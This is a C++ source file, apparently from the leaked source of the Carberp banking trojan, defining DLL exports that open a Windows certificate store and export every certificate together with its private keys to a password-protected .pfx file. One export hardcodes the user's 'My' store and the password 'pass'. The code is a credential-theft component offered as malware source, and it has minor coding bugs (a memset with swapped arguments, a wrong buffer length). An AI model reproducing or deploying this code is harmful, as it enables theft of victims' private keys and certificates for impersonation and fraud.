/source - absource/pro/all source/sert/ExportSert/ExportSert.cpp

https://github.com/Tomcat23/Carberp · C++ · 59 lines · 46 code · 9 blank · 4 comment · 14 complexity · 00d561bb389f059871ebeb48830a2373 MD5 · raw file

  1. // ExportSert.cpp : Defines the exported functions for the DLL application.
  2. //
  3. #include "stdafx.h"
  4. #define SECURITY_WIN32
  5. #include <windows.h>
  6. #include <wincrypt.h>
  7. #include <shlwapi.h>
  8. #include <security.h>
  9. #include <wininet.h>
  10. #include <stdio.h>
  11. extern "C" void __declspec(dllexport) GetSert( const char* nameStore, const char* password)
  12. {
  13. HANDLE hstore = CertOpenSystemStore(NULL, nameStore);
  14. if( hstore != NULL ) {
  15. int c_certs = 0; //количество сертификатов
  16. PCCERT_CONTEXT certContext = 0;
  17. while( (certContext = CertEnumCertificatesInStore( hstore, certContext ) ) != NULL)
  18. c_certs++;
  19. if( c_certs == 0 )
  20. return;
  21. else {
  22. //Получаем размер хранилища.
  23. CRYPT_DATA_BLOB pfxBlob;
  24. pfxBlob.pbData = NULL;
  25. pfxBlob.cbData = 0;
  26. //преобразовываем пароль в WCHAR
  27. WCHAR wpassword[128];
  28. memset( wpassword, sizeof(wpassword), 0 );
  29. MultiByteToWideChar( CP_ACP, 0, password, -1, wpassword, sizeof(wpassword) );
  30. if( PFXExportCertStoreEx(hstore, &pfxBlob, wpassword, 0, EXPORT_PRIVATE_KEYS) != FALSE &&
  31. (pfxBlob.pbData = (unsigned char*)LocalAlloc( LPTR, pfxBlob.cbData )) != NULL) {
  32. if( PFXExportCertStoreEx( hstore, &pfxBlob, wpassword, 0, EXPORT_PRIVATE_KEYS ) != FALSE ) {
  33. char nameFile[128];
  34. wsprintf( nameFile, "%s_%d_%08x.pfx", nameStore, c_certs, GetTickCount() );
  35. HANDLE fout = CreateFile( nameFile, GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
  36. if( fout == INVALID_HANDLE_VALUE ) return;
  37. DWORD rl;
  38. WriteFile( fout, pfxBlob.pbData, pfxBlob.cbData, &rl, 0 );
  39. CloseHandle(fout);
  40. }
  41. LocalFree( pfxBlob.pbData );
  42. }
  43. }
  44. CertCloseStore(hstore, 0);
  45. }
  46. }
  47. extern "C" void __declspec(dllexport) GetSertDefault( const char* nameStore, const char* password)
  48. {
  49. GetSert( "My", "pass" );
  50. }